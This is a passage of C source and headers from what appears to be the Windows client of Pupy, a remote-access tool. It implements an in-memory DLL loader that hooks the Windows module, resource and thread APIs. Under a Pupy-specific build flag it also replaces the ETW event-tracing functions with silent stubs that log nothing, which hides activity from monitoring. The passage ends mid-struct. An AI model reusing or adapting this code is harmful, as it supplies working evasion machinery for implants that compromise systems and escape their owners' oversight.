pszName = LocalAlloc(LMEM_FIXED, dwRequiredSize);\n    if (!pszName)\n        return NULL;\n\n    dwRequiredSize = WideCharToMultiByte(\n        CP_OEMCP, 0, name, -1, pszName,\n        dwRequiredSize, NULL, NULL\n    );\n\n    if (SUCCEEDED(dwRequiredSize))\n        hResult = _FindMemoryModule(pszName, NULL);\n\n    LocalFree(pszName);\n\n    return hResult;\n}\n\n#ifdef _PUPY_PRIVATE_WS2_32\nstatic\nNTSTATUS CALLBACK MyEtwRegister (\n    LPCGUID            ProviderId,\n    PVOID               EnableCallback,\n    PVOID              CallbackContext,\n    PULONGLONG         RegHandle\n) {\n    static ULONGLONG dwFakeRegHandle = 0x80000000;\n    dprint(\n        \"MyEtwRegister \"\n        \"GUID=%08x-%04x-%04x-%02x%02x%02x%02x%02x%02x%02x%02x -> %p\\n\",\n        ProviderId->Data1, ProviderId->Data2, ProviderId->Data3,\n        ProviderId->Data4[0], ProviderId->Data4[1],\n        ProviderId->Data4[2], ProviderId->Data4[3],\n        ProviderId->Data4[4], ProviderId->Data4[5],\n        ProviderId->Data4[6], ProviderId->Data4[7],\n        dwFakeRegHandle\n    );\n\n    *RegHandle = dwFakeRegHandle ++;\n    return ERROR_SUCCESS;\n}\n\nstatic\nULONG CALLBACK MyEtwEventWrite (\n    ULONGLONG RegHandle,\n    PVOID EventDescriptor,\n    ULONG UserDataCount,\n    PVOID UserData\n) {\n    dprint(\"MyEtwEventWrite (RegHandle: %p)\\n\", RegHandle);\n    return ERROR_SUCCESS;\n}\n\nstatic\nULONG CALLBACK MyEtwEventWriteFull (\n    ULONGLONG RegHandle,\n    PVOID EventDescriptor,\n    USHORT EventProperty,\n    LPCGUID ActivityId,\n    LPCGUID RelatedActivityId,\n    ULONG UserDataCount,\n    PVOID UserData\n) {\n    dprint(\"EtwEventWriteFull (RegHandle: %p)\\n\", RegHandle);\n    return ERROR_SUCCESS;\n}\n\nstatic\nNTSTATUS CALLBACK MyEtwUnregister (\n    ULONGLONG RegHandle\n) {\n    dprint(\"MyEtwUnregister (RegHandle: %p)\\n\", RegHandle);\n    return ERROR_SUCCESS;\n}\n#endif\n\nstatic DL_CALLBACKS callbacks = {\n    MyLoadLibraryA, MyLoadLibraryW,\n    MyLoadLibraryExA, MyLoadLibraryExW,\n    MyGetModuleHandleA, MyGetModuleHandleW,\n    MyGetModuleHandleExA, MyGetModuleHandleExW,\n    MyGetModuleFileNameA, MyGetModuleFileNameW,\n    MyGetProcAddress,\n    MyFreeLibrary,\n\n    MyFindResourceA, MyFindResourceW,\n    MyFindResourceExA, MyFindResourceExW,\n    MySizeofResource, MyLoadResource,\n\n    GetProcAddress,\n    GetModuleFileNameA, GetModuleFileNameW,\n    FindResourceExW, SizeofResource, LoadResource,\n\n    MyCreateThread,\n\n#ifdef _PUPY_PRIVATE_WS2_32\n    MyEtwRegister, MyEtwEventWrite,\n    MyEtwEventWriteFull, MyEtwUnregister\n#endif\n};\n\n/****************************************************************\n * Insert a MemoryModule into the linked list of loaded modules\n */\nstatic PHCUSTOMLIBRARY _AddMemoryModule(\n    LPCSTR name, HCUSTOMMODULE module)\n{\n    PHCUSTOMLIBRARY hmodule = (PHCUSTOMLIBRARY) malloc(\n        sizeof(HCUSTOMLIBRARY));\n\n    LPCSTR srcName = NULL;\n    PSTR psi;\n\n    if (!libraries) {\n        libraries = (PHLIBRARIES) malloc(sizeof(HLIBRARIES));\n        libraries->by_module = NULL;\n        libraries->by_name = NULL;\n        libraries->by_filename = NULL;\n        libraries->pCallbacks = &callbacks;\n\n        InitializeCriticalSection(&libraries->lock);\n        dprint(\"Initialize libraries: %p\\n\", libraries);\n    }\n\n    srcName = strrchr(name, '\\\\');\n    if (srcName)\n        srcName ++;\n\n    if (!srcName || !srcName[0]) {\n        srcName = strrchr(name, '/');\n        if (srcName)\n            srcName ++;\n    }\n\n    if (!srcName || !srcName[0])\n        srcName = name;\n\n    hmodule->refcount = 1;\n    hmodule->pin = 0;\n    hmodule->name = strdup(srcName);\n    hmodule->fileName = strdup(name);\n    hmodule->module = module;\n    hmodule->ehFilter = NULL;\n\n    _strupr(hmodule->name);\n    _strupr(hmodule->fileName);\n\n    psi = strchr(hmodule->name, '.');\n    if (psi && !strcmp(psi, \".DLL\"))\n        *psi = '\\0';\n\n    for (psi=hmodule->fileName; *psi; psi++)\n        if (*psi == '/')\n            *psi = '\\\\';\n\n    EnterCriticalSection(&libraries->lock);\n\n    HASH_ADD_KEYPTR(\n        by_module, libraries->by_module,\n        &hmodule->module, sizeof(hmodule->module),\n        hmodule\n    );\n\n    dprint(\n        \"_AddMemoryModule(%s (%s), %p)\\n\",\n        hmodule->name,\n        hmodule->fileName,\n        module\n    );\n\n    HASH_ADD_KEYPTR(\n        by_name, libraries->by_name, hmodule->name,\n        strlen(hmodule->name), hmodule\n    );\n\n    HASH_ADD_KEYPTR(\n        by_filename, libraries->by_filename, hmodule->fileName,\n        strlen(hmodule->fileName), hmodule\n    );\n\n    LeaveCriticalSection(&libraries->lock);\n\n    dprint(\"_AddMemoryModule(%s, %p) -> %p[%d] (hmod=%p)\\n\",\n        hmodule->name, module, hmodule, hmodule->refcount, module);\n\n    return hmodule;\n}\n\n/****************************************************************\n * Public functions\n */\n\nDWORD CALLBACK MyGetModuleFileNameW(HMODULE hModule, LPWSTR lpwStr, DWORD dwSize)\n{\n    PHCUSTOMLIBRARY lib;\n\n    lib = _FindMemoryModule(NULL, hModule);\n    if (lib) {\n        DWORD dwRet = MemoryModuleFileNameW(lib->module, lpwStr, dwSize);\n        if (dwRet == 0xFFFFFFFF) {\n            dwRet = MultiByteToWideChar(\n                CP_ACP, 0,\n                lib->fileName, strlen(lib->fileName),\n                lpwStr, dwSize\n            );\n\n            dprint(\n                \"MyGetModuleFileNameW -> %s (conv: %d)\\n\",\n                lib->fileName, dwRet\n            );\n        } else {\n            dprint(\n                \"MyGetModuleFileNameW -> proxied (ret: %d)\\n\", dwRet\n            );\n        }\n\n        return dwRet;\n    } else {\n        dprint(\"MyGetModuleFileNameW %p -> unregistered\\n\", hModule);\n    }\n\n    return GetModuleFileNameW(hModule, lpwStr, dwSize);\n}\n\nDWORD CALLBACK MyGetModuleFileNameA(HMODULE hModule, LPSTR lpStr, DWORD dwSize)\n{\n    PHCUSTOMLIBRARY lib;\n\n    lib = _FindMemoryModule(NULL, hModule);\n    if (lib) {\n        DWORD dwRet = MemoryModuleFileNameA(lib->module, lpStr, dwSize);\n        if (dwRet == 0xFFFFFFFF) {\n            size_t reqSize = strlen(lib->fileName);\n            if (reqSize > dwSize) {\n                SetLastError(ERROR_INSUFFICIENT_BUFFER);\n                dwRet = 0;\n            } else {\n                memcpy(lpStr, lib->fileName, reqSize);\n                if (dwSize >= reqSize + 1) {\n                    lpStr[reqSize] = '\\0';\n                }\n                dwRet = reqSize;\n            }\n\n            dprint(\n                \"MyGetModuleFileNameA -> %s (conv: %d)\\n\",\n                lib->fileName, dwRet\n            );\n        } else {\n            dprint(\n                \"MyGetModuleFileNameA -> proxied (ret: %s/%d)\\n\", lpStr, dwRet\n            );\n        }\n        return dwRet;\n    } else {\n        dprint(\"MyGetModuleFileNameA %p -> unregistered\\n\", hModule);\n    }\n\n    return GetModuleFileNameA(hModule, lpStr, dwSize);\n}\n\nHMODULE CALLBACK MyGetModuleHandleA(LPCSTR name)\n{\n    PHCUSTOMLIBRARY lib;\n\n    lib = _FindMemoryModule(name, NULL);\n    if (lib)\n        return lib->module;\n\n    return GetModuleHandleA(name);\n}\n\nstatic\nBOOL MyGetModuleHandleEx(DWORD dwFlags, LPVOID lpArg, HMODULE *phModule, BOOL bWide)\n{\n    PHCUSTOMLIBRARY lib;\n\n    if (dwFlags & GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS) {\n        dprint(\"MyGetModuleHandleEx -> by Address (%p)\", lpArg);\n        lib = _FindMemoryModuleByAddress(lpArg, NULL);\n    } else {\n        if (bWide) {\n            dwprint(L\"MyGetModuleHandleEx -> by Name (%s)\", lpArg);\n            lib = _FindMemoryModuleW(lpArg, NULL);\n        } else {\n            dprint(\"MyGetModuleHandleEx -> by Name (%s)\", lpArg);\n            lib = _FindMemoryModule(lpArg, NULL);\n        }\n    }\n\n    if (!lib)  {\n        dprint(\" -> NULL\\n\", phModule);\n        if (bWide) {\n            return GetModuleHandleExW(dwFlags, lpArg, phModule);\n        } else {\n            return GetModuleHandleExA(dwFlags, lpArg, phModule);\n        }\n    }\n\n    dprint(\" -> Found (%p:%s)\", lib->module, lib->name);\n\n    if (dwFlags & GET_MODULE_HANDLE_EX_FLAG_PIN) {\n        dprint(\" -> set pin\\n\");\n        lib->pin = 1;\n    } else if (! (dwFlags & GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT)) {\n        lib->refcount ++;\n        dprint(\" -> incr refcnt (%d)\\n\", lib->refcount);\n    } else {\n        dprint(\" -> do nothing\\n\", lib->refcount);\n    }\n\n    if (phModule)\n        *phModule = lib->module;\n\n    return TRUE;\n}\n\nBOOL CALLBACK MyGetModuleHandleExA(DWORD dwFlags, LPVOID lpArg, HMODULE *phModule) {\n    return MyGetModuleHandleEx(dwFlags, lpArg, phModule, FALSE);\n}\n\nBOOL CALLBACK MyGetModuleHandleExW(DWORD dwFlags, LPVOID lpArg, HMODULE *phModule) {\n    return MyGetModuleHandleEx(dwFlags, lpArg, phModule, TRUE);\n}\n\nHMODULE MyLoadLibrary(LPCSTR name, void *bytes, void *dllmainArg)\n{\n    return MyLoadLibraryEx(\n        name, bytes, dllmainArg, NULL, MEMORY_LOAD_DEFAULT\n    );\n}\n\nHMODULE\nMyLoadLibraryEx(\n    LPCSTR name, const void *bytes, void *dllmainArg,\n    const void *pvExports, MEMORY_LOAD_FLAGS flags)\n{\n    HMODULE hLoadedModule = NULL;\n\n    dprint(\"MyLoadLibrary '%s'..\\n\", name);\n    if (flags & MEMORY_LOAD_FROM_HMODULE) {\n        PHCUSTOMLIBRARY lib;\n        lib = _FindMemoryModule(name, NULL);\n        if (lib)  {\n            lib->refcount ++;\n            return lib->module;\n        }\n    } else {\n        hLoadedModule = MyGetModuleHandleA(name);\n    }\n\n    dprint(\"MyLoadLibrary %s registered? %p\\n\", name, hLoadedModule);\n\n    if (hLoadedModule)\n        return hLoadedModule;\n\n    if (bytes) {\n        HCUSTOMMODULE mod;\n        PDL_CALLBACKS cb = libraries ? libraries->pCallbacks : &callbacks;\n\n        dprint(\"Callbacks: %p\\n\", cb);\n\n        mod = MemoryLoadLibraryEx(bytes, cb, dllmainArg, pvExports, flags);\n\n        dprint(\n            \"MyLoadLibrary: loading %s, buf=%p (dllmainArg=%p) -> %p\\n\",\n            name, bytes, dllmainArg, mod\n        );\n\n        if (mod) {\n            PHCUSTOMLIBRARY lib = _AddMemoryModule(name, mod);\n            dprint(\"MemoryLoadLibraryEx: loaded %s -> %p (%p)\\n\", name, mod, lib->module);\n            return lib->module;\n        } else {\n            dprint(\"MemoryLoadLibraryEx(%s, %p) failed\\n\", name, bytes);\n        }\n    }\n\n    dprint(\"MyLoadLibrary: fallback to OS LoadLibrary %s\\n\", name);\n    return LoadLibrary(name);\n}\n\nHMODULE CALLBACK MyGetModuleHandleW(LPCWSTR name) {\n    PHCUSTOMLIBRARY hResult = _FindMemoryModuleW(name);\n    if (hResult)\n        return (HMODULE) hResult;\n\n    return GetModuleHandleW(name);\n}\n\nHMODULE CALLBACK MyLoadLibraryExA(LPCSTR name, HANDLE hFile, DWORD dwFlags) {\n    PHCUSTOMLIBRARY hResult = _FindMemoryModule(name, NULL);\n    if (hResult) {\n        hResult->refcount ++;\n        return hResult->module;\n    }\n\n    return LoadLibraryExA(name, hFile, dwFlags);\n}\n\nHMODULE CALLBACK MyLoadLibraryExW(LPCWSTR name, HANDLE hFile, DWORD dwFlags) {\n    PHCUSTOMLIBRARY hResult = _FindMemoryModuleW(name);\n    if (hResult) {\n        hResult->refcount ++;\n        return hResult->module;\n    }\n\n    return LoadLibraryExW(name, hFile, dwFlags);\n}\n\nHMODULE CALLBACK MyLoadLibraryA(LPCSTR name) {\n    PHCUSTOMLIBRARY hResult = _FindMemoryModule(name, NULL);\n    if (hResult) {\n        hResult->refcount ++;\n        return hResult->module;\n    }\n\n    return LoadLibraryA(name);\n}\n\nHMODULE CALLBACK MyLoadLibraryW(LPCWSTR name) {\n    PHCUSTOMLIBRARY hResult = _FindMemoryModuleW(name);\n    if (hResult) {\n        hResult->refcount ++;\n        return hResult->module;\n    }\n\n    return LoadLibraryW(name);\n}\n\nBOOL CALLBACK MyFreeLibrary(HMODULE module)\n{\n    PHCUSTOMLIBRARY lib = _FindMemoryModule(NULL, module);\n\n    if (lib) {\n        dprint(\"MyFreeLibrary(%p) -> %s REFCNT: %d PIN: %d\\n\",\n            module, lib->name, lib->refcount, lib->pin);\n\n        if (lib->pin == 0 && --lib->refcount == 0) {\n            EnterCriticalSection(&libraries->lock);\n\n            HASH_DELETE(by_name, libraries->by_name, lib);\n            HASH_DELETE(by_filename, libraries->by_filename, lib);\n            HASH_DELETE(by_module, libraries->by_module, lib);\n\n            LeaveCriticalSection(&libraries->lock);\n\n            free(lib->name);\n            free(lib);\n\n            MemoryFreeLibrary(module);\n        }\n        return TRUE;\n    } else\n        return FreeLibrary(module);\n}\n\nFARPROC CALLBACK MyGetProcAddress(HMODULE module, LPCSTR procname)\n{\n    PHCUSTOMLIBRARY lib;\n    FARPROC fpFunc = NULL;\n\n    lib = _FindMemoryModule(NULL, module);\n    if (lib)\n        fpFunc = MemoryGetProcAddress(lib->module, procname);\n    else\n        fpFunc = GetProcAddress(module, procname);\n\n    if (HIWORD(procname) == 0) {\n        dprint(\"MyGetProcAddress(%p, %d) -> %p (lib: %p)\\n\",\n            module, LOWORD(procname), fpFunc, lib);\n    } else {\n        dprint(\"MyGetProcAddress(%p, %s) -> %p (lib: %p)\\n\", module, procname, fpFunc, lib);\n    }\n\n    return fpFunc;\n}\n\nFARPROC MyFindProcAddress(LPCSTR modulename, LPCSTR procname)\n{\n    HCUSTOMMODULE mod = MyGetModuleHandleA(modulename);\n    void *addr = NULL;\n    /* dprint(\"MyFindProcAddress(%s, %s) -> %p\\n\", modulename, procname, mod); */\n    if (mod) {\n        addr = MyGetProcAddress(mod, procname);\n    }\n\n    /* dprint(\"MyFindProcAddress(%s, %s) -> %p\\n\", modulename, procname, addr); */\n    return addr;\n}\n\nHRSRC CALLBACK MyFindResourceA(HMODULE module, LPCSTR name, LPCSTR type)\n{\n    HRSRC res;\n    PHCUSTOMLIBRARY lib;\n\n    lib = _FindMemoryModule(NULL, module);\n    if (lib)\n        res = (HRSRC) MemoryFindResourceA(lib->module, name, type);\n    else\n        res = FindResourceA(module, name, type);\n\n    dprint(\"MyFindResourceA(%p, %s, %s) -> %p (%p)\\n\", module, name, type, res, lib);\n    return res;\n}\n\nHRSRC CALLBACK MyFindResourceW(HMODULE module, LPCWSTR name, LPCWSTR type)\n{\n    HRSRC res;\n    PHCUSTOMLIBRARY lib;\n\n    lib = _FindMemoryModule(NULL, module);\n    if (lib)\n        res = (HRSRC) MemoryFindResourceW(lib->module, name, type);\n    else\n        res = FindResourceW(module, name, type);\n\n    dprint(\"MyFindResourceA(%p, %p, %p) -> %p (%p)\\n\", module, name, type, res, lib);\n    return res;\n}\n\nHRSRC CALLBACK MyFindResourceExA(HMODULE hModule, LPCSTR name, LPCSTR type, WORD language)\n{\n    HRSRC res;\n    PHCUSTOMLIBRARY lib;\n\n    lib = _FindMemoryModule(NULL, hModule);\n    if (lib)\n        res = (HRSRC) MemoryFindResourceExA(lib->module, name, type, language);\n    else\n        res = FindResourceExA(hModule, name, type, language);\n\n    dprint(\"MyFindResourceExA(%p, %s, %s, %d) -> %p (%p)\\n\", hModule, name, type, language, res, lib);\n    return res;\n}\n\nHRSRC CALLBACK MyFindResourceExW(HMODULE hModule, LPCWSTR name, LPCWSTR type, WORD language)\n{\n    HRSRC res;\n    PHCUSTOMLIBRARY lib;\n\n    lib = _FindMemoryModule(NULL, hModule);\n    if (lib)\n        res = (HRSRC) MemoryFindResourceExW(lib->module, name, type, language);\n    else\n        res = FindResourceExW(hModule, name, type, language);\n\n    dprint(\"MyFindResourceExA(%p, %p, %p, %d) -> %p (%p)\\n\", hModule, name, type, language, res, lib);\n    return res;\n}\n\nDWORD CALLBACK MySizeofResource(HMODULE hModule, HRSRC resource)\n{\n    PHCUSTOMLIBRARY lib;\n    DWORD res;\n\n    lib = _FindMemoryModule(NULL, hModule);\n    if (lib)\n        res = MemorySizeofResource(lib->module, (HMEMORYRSRC) resource);\n    else\n        res = SizeofResource(hModule, resource);\n\n    dprint(\"MySizeofResource(%p, %p) -> %d (%p)\\n\", hModule, resource, res, lib);\n    return res;\n}\n\nLPVOID CALLBACK MyLoadResource(HMODULE hModule, HRSRC resource)\n{\n    PHCUSTOMLIBRARY lib;\n    LPVOID res;\n\n    lib = _FindMemoryModule(NULL, hModule);\n    if (lib)\n        res = MemoryLoadResource(lib->module, (HMEMORYRSRC) resource);\n    else\n        res = LoadResource(hModule, resource);\n\n    dprint(\"MyLoadResource(%p, %p) -> %d (%p)\\n\", hModule, resource, res, lib);\n    return res;\n}\n\nBOOL MySetUnhandledExceptionFilter(LPCSTR pszModuleName, LPTOP_LEVEL_EXCEPTION_FILTER handler)\n{\n    PHCUSTOMLIBRARY lib;\n\n    if (!pszModuleName) {\n        lpDefaultExceptionHandler = handler;\n        dprint(\"Set default thread handler to %p\\n\", lpDefaultExceptionHandler);\n        return TRUE;\n    }\n\n    lib = _FindMemoryModule(pszModuleName, NULL);\n    if (!lib) {\n        dprint(\n            \"Failed to set default thread handler for %s to %p - module not found\\n\",\n            pszModuleName, lpDefaultExceptionHandler\n        );\n    }\n\n    lib->ehFilter = handler;\n\n    dprint(\n        \"Set default thread handler for %s to %p\\n\",\n        pszModuleName, lpDefaultExceptionHandler\n    );\n\n    return TRUE;\n}\n\nLPTOP_LEVEL_EXCEPTION_FILTER MyGetUnhandledExceptionFilter(VOID) {\n    return lpDefaultExceptionHandler;\n}\n\nLONG WINAPI ThreadUnhandledExceptionFilter(\n    DWORD dwExceptionCode, PEXCEPTION_POINTERS pExceptionPointers,\n    PVOID pvThreadProc, LPTOP_LEVEL_EXCEPTION_FILTER lpFilter, LONG lResult\n) {\n    LPCSTR pszName = NULL;\n    LPTOP_LEVEL_EXCEPTION_FILTER lpCustomFilter = NULL;\n\n    LONG lVerdict = EXCEPTION_CONTINUE_SEARCH;\n\n    if (dwExceptionCode == EXCEPTION_BREAKPOINT) {\n        dprint(\n            \"ThreadUnhandledExceptionFilter (ThreadProc=%p): hit breakpoint (???) - ignore\",\n            pvThreadProc\n        );\n\n        return EXCEPTION_CONTINUE_SEARCH;\n    }\n\n    if (MyFindMemoryModuleNameByAddr(pvThreadProc, &pszName, NULL, &lpCustomFilter)) {\n        dprint(\n            \"ThreadUnhandledExceptionFilter (ThreadProc=%p) Fatal exception, \"\n            \"original ThreadProc from %s\\n\",\n            pvThreadProc, pszName\n        );\n\n        if (lpCustomFilter) {\n            lpFilter = lpCustomFilter;\n\n            dprint(\n                \"Using custom exception filter for %s: %p\\n\",\n                pszName, lpCustomFilter\n            );\n\n        }\n    } else {\n        dprint(\n            \"ThreadUnhandledExceptionFilter (ThreadProc=%p); \"\n            \"Handling fatal exception with filter %p\\n\",\n            pvThreadProc, lpFilter\n        );\n    }\n\n    if (lpFilter)\n        lVerdict = lpFilter(pExceptionPointers);\n\n    return lVerdict;\n}\n\nstatic DWORD WINAPI WrappedThreadRoutine(LPVOID lpThreadParameter)\n{\n    DWORD dwResult = 0;\n    ORIGINAL_THREAD_ARGS OriginalThreadArgs;\n\n    RtlCopyMemory(&OriginalThreadArgs, lpThreadParameter, sizeof(OriginalThreadArgs));\n    LocalFree(lpThreadParameter);\n\n    __try {\n        dprint(\n            \"Thread wrapper [%p]: Calling original args: %p(%p) filter: %p\\n\",\n            WrappedThreadRoutine,\n            OriginalThreadArgs.lpOriginalRoutine,\n            OriginalThreadArgs.lpOriginalParameter,\n            OriginalThreadArgs.lpExceptionFilter\n        );\n\n        dwResult = OriginalThreadArgs.lpOriginalRoutine(\n            OriginalThreadArgs.lpOriginalParameter\n        );\n    }\n    __except(ThreadUnhandledExceptionFilter(\n        GetExceptionCode(), GetExceptionInformation(),\n        OriginalThreadArgs.lpOriginalRoutine,\n        OriginalThreadArgs.lpExceptionFilter, EXCEPTION_CONTINUE_SEARCH\n    )) {\n        dprint(\n            \"Thread wrapper with original args: %p(%p) fatal error \"\n            \"and will die, but we'll try to countine\\n\",\n            OriginalThreadArgs.lpOriginalRoutine,\n            OriginalThreadArgs.lpOriginalParameter\n        );\n\n        return (DWORD)(-1);\n    }\n\n    dprint(\"Thread wrapper exited (%p)\\n\", OriginalThreadArgs.lpOriginalRoutine);\n    return dwResult;\n}\n\nHANDLE CALLBACK MyCreateThread(\n  LPSECURITY_ATTRIBUTES   lpThreadAttributes,\n  SIZE_T                  dwStackSize,\n  LPTHREAD_START_ROUTINE  lpStartAddress,\n  LPVOID                  lpParameter,\n  DWORD                   dwCreationFlags,\n  LPDWORD                 lpThreadId\n)\n{\n    PORIGINAL_THREAD_ARGS pOriginalArgsCopy = LocalAlloc(\n        LMEM_FIXED, sizeof(ORIGINAL_THREAD_ARGS)\n    );\n\n    dprint(\n        \"MyCreateThread(func=%p, args=%p eh=%p)\\n\",\n        lpStartAddress, lpParameter, lpDefaultExceptionHandler\n    );\n\n    if (pOriginalArgsCopy) {\n        pOriginalArgsCopy->lpOriginalRoutine = lpStartAddress;\n        pOriginalArgsCopy->lpOriginalParameter = lpParameter;\n        pOriginalArgsCopy->lpExceptionFilter = lpDefaultExceptionHandler;\n\n        lpStartAddress = WrappedThreadRoutine;\n        lpParameter = (PVOID) pOriginalArgsCopy;\n    } else {\n        dprint(\"MyCreateThread: LocalAlloc failed\\n\");\n    }\n\n    return CreateThread(\n        lpThreadAttributes, dwStackSize, lpStartAddress,\n        lpParameter, dwCreationFlags, lpThreadId\n    );\n}\n\nVOID MyEnumerateLibraries(LibraryInfoCb_t callback, PVOID pvCallbackData)\n{\n    PHCUSTOMLIBRARY module, tmp;\n\n    if (!callback)\n        return;\n\n    dprint(\"Enumerating libraries: %p\\n\", libraries);\n    dprint(\"By Module hashmap: %p\\n\", libraries->by_module);\n\n    HASH_ITER(by_module, libraries->by_module, module, tmp) {\n        PVOID pvBaseAddress = NULL;\n        ULONG ulSize = 0;\n\n        dprint(\"GetMemoryModuleInfo: Try: %p\\n\", module);\n\n        if (GetMemoryModuleInfo(module->module, &pvBaseAddress, &ulSize)) {\n            dprint(\n                \"GetMemoryModuleInfo %p: name=%s base=%p size=%u callback=%p\\n\",\n                module, module->name, pvBaseAddress, ulSize, callback\n            );\n\n            if (!callback(pvCallbackData, module->name, pvBaseAddress, ulSize)) {\n                dprint(\"GetMemoryModuleInfo: break requested\\n\");\n                break;\n            }\n\n            dprint(\"GetMemoryModuleInfo: continue\\n\");\n        } else {\n            dprint(\"GetMemoryModuleInfo failed for %p\\n\", module);\n        }\n    }\n\n    dprint(\"Enumerating libraries: %p - complete\\n\", libraries);\n}\n\nBOOL MyFindMemoryModuleNameByAddr(\n    PVOID pvAddress, LPCSTR *ppszName, PVOID *ppvBaseAddress,\n    LPTOP_LEVEL_EXCEPTION_FILTER *pehFilter\n) {\n    PHCUSTOMLIBRARY module = _FindMemoryModuleByAddress(\n        pvAddress, ppvBaseAddress\n    );\n\n    if (!module) {\n        return FALSE;\n    }\n\n    if (ppszName)\n        *ppszName = module->name;\n\n    if (pehFilter)\n        *pehFilter = module->ehFilter;\n\n    return TRUE;\n}\n"
  },
  {
    "path": "client/sources-windows-py3/MyLoadLibrary.h",
    "content": "#ifndef GENERALLOADLIBRARY_H\n#define GENERALLOADLIBRARY_H\n\n#include <windows.h>\n\n#ifndef CALLBACK\n#define CALLBACK WINAPI\n#endif\n\nHMODULE MyLoadLibrary(LPCSTR, void *, void *);\nHMODULE MyLoadLibraryEx(LPCSTR, const PVOID, PVOID, PVOID, DWORD);\n\nHMODULE CALLBACK MyLoadLibraryA(LPCSTR);\nHMODULE CALLBACK MyLoadLibraryW(LPCWSTR);\nHMODULE CALLBACK MyLoadLibraryExA(LPCSTR name, HANDLE hFile, DWORD dwFlags);\nHMODULE CALLBACK MyLoadLibraryExW(LPCWSTR name, HANDLE hFile, DWORD dwFlags);\nHMODULE CALLBACK MyGetModuleHandleA(LPCSTR name);\nHMODULE CALLBACK MyGetModuleHandleW(LPCWSTR name);\nBOOL CALLBACK MyGetModuleHandleExA(DWORD dwFlags, LPVOID lpArg, HMODULE *phModule);\nBOOL CALLBACK MyGetModuleHandleExW(DWORD dwFlags, LPVOID lpArg, HMODULE *phModule);\nDWORD CALLBACK MyGetModuleFileNameW(HMODULE, LPWSTR, DWORD);\nDWORD CALLBACK MyGetModuleFileNameA(HMODULE, LPSTR, DWORD);\nFARPROC CALLBACK MyGetProcAddress(HMODULE, LPCSTR);\nBOOL CALLBACK MyFreeLibrary(HMODULE module);\n\nHRSRC CALLBACK MyFindResourceA(HMODULE module, LPCSTR name, LPCSTR type);\nHRSRC CALLBACK MyFindResourceW(HMODULE module, LPCWSTR name, LPCWSTR type);\nHRSRC CALLBACK MyFindResourceExA(HMODULE hModule, LPCSTR name, LPCSTR type, WORD language);\nHRSRC CALLBACK MyFindResourceExW(HMODULE hModule, LPCWSTR name, LPCWSTR type, WORD language);\nDWORD CALLBACK MySizeofResource(HMODULE module, HRSRC resource);\nLPVOID CALLBACK MyLoadResource(HMODULE module, HRSRC resource);\nint CALLBACK MyLoadStringA(HMODULE module, UINT id, LPSTR buffer, int maxsize);\nint CALLBACK MyLoadStringW(HMODULE module, UINT id, LPWSTR buffer, int maxsize);\n\nFARPROC MyFindProcAddress(LPCSTR modulename, LPCSTR procname);\n\nHANDLE CALLBACK MyCreateThread(\n  LPSECURITY_ATTRIBUTES   lpThreadAttributes,\n  SIZE_T                  dwStackSize,\n  LPTHREAD_START_ROUTINE  lpStartAddress,\n  LPVOID                  lpParameter,\n  DWORD                   dwCreationFlags,\n  LPDWORD                 lpThreadId\n);\n\nVOID MySetLibraries(PVOID pLibraries);\nBOOL MySetUnhandledExceptionFilter(\n  LPCSTR pszModuleName, LPTOP_LEVEL_EXCEPTION_FILTER handler\n);\n\nLPTOP_LEVEL_EXCEPTION_FILTER MyGetUnhandledExceptionFilter(VOID);\nPVOID MyGetLibraries();\n\ntypedef BOOL (*LibraryInfoCb_t) (\n    PVOID pvCallbackData, LPCSTR pszName, PVOID pvBaseImage, ULONG ulSize\n);\n\nVOID MyEnumerateLibraries(LibraryInfoCb_t callback, PVOID pvCallbackData);\nBOOL MyFindMemoryModuleNameByAddr(\n  PVOID pvAddress, LPCSTR *ppszName, PVOID *ppvBaseAddress,\n  LPTOP_LEVEL_EXCEPTION_FILTER *pehFilter\n);\n\n#ifndef DLL_QUERY_HMODULE\n#define DLL_QUERY_HMODULE 6\n#endif\n\n#endif\n"
  },
  {
    "path": "client/sources-windows-py3/Python-dynload-os.h",
    "content": "#ifndef PYTHON_DYNLOAD_OS_H\n#define PYTHON_DYNLOAD_OS_H\n\n#include <windows.h>\n\n#define PYTHON_LIB_NAME \"python310.dll\"\n\n#include \"MyLoadLibrary.h\"\n#include \"MemoryModule.h\"\n#include \"resource_python_manifest.c\"\n#include \"actctx.h\"\n\n#define FILE_SYSTEM_ENCODING \"mbcs\"\n\n#ifndef PATH_MAX\n#define PATH_MAX 260\n#endif\n\ntypedef FARPROC (WINAPI *resolve_symbol_t) (HMODULE hModule, const char *name);\n\n#define OSAlloc(size) LocalAlloc(LMEM_FIXED, size)\n#define OSFree(ptr) LocalFree(ptr)\n\nstatic HMODULE OSLoadLibrary(const char *dllname) {\n    HMODULE hModule = NULL;\n    hModule = GetModuleHandle(dllname);\n    if (!hModule)\n        hModule = LoadLibrary(dllname);\n\n    return hModule;\n}\n\n#define OSResolveSymbol MyGetProcAddress\n\nstatic HMODULE MemLoadLibrary(const char *dllname, char *bytes, size_t size, void *arg) {\n    ULONG_PTR cookie = _My_ActivateActCtx();\n    HMODULE hModule = MyLoadLibrary(dllname, bytes, arg);\n    _My_DeactivateActCtx(cookie);\n    return hModule;\n}\n\n\ntypedef struct PyPreConfig {\n    int _config_init; \n    int parse_argv;\n    int isolated;\n    int use_environment;\n    int configure_locale;\n    int coerce_c_locale;\n    int coerce_c_locale_warn;\n    int legacy_windows_fs_encoding;\n    int utf8_mode;\n    int dev_mode;\n    int allocator;\n} PyPreConfig;\n\ntypedef struct {\n    enum {\n        _PyStatus_TYPE_OK=0,\n        _PyStatus_TYPE_ERROR=1,\n        _PyStatus_TYPE_EXIT=2\n    } _type;\n    const char *func;\n    const char *err_msg;\n    int exitcode;\n} PyStatus;\n\ntypedef struct {\n    /* If length is greater than zero, items must be non-NULL\n       and all items strings must be non-NULL */\n    Py_ssize_t length;\n    wchar_t **items;\n} PyWideStringList;\n\ntypedef struct PyConfig {\n    int _config_init;     /* _PyConfigInitEnum value */\n\n    int isolated;\n    int use_environment;\n    int dev_mode;\n    int install_signal_handlers;\n    int use_hash_seed;\n    unsigned long hash_seed;\n    int faulthandler;\n    int tracemalloc;\n    int perf_profiling;\n    int import_time;\n    int code_debug_ranges;\n    int show_ref_count;\n    int dump_refs;\n    wchar_t *dump_refs_file;\n    int malloc_stats;\n    wchar_t *filesystem_encoding;\n    wchar_t *filesystem_errors;\n    wchar_t *pycache_prefix;\n    int parse_argv;\n    PyWideStringList orig_argv;\n    PyWideStringList argv;\n    PyWideStringList xoptions;\n    PyWideStringList warnoptions;\n    int site_import;\n    int 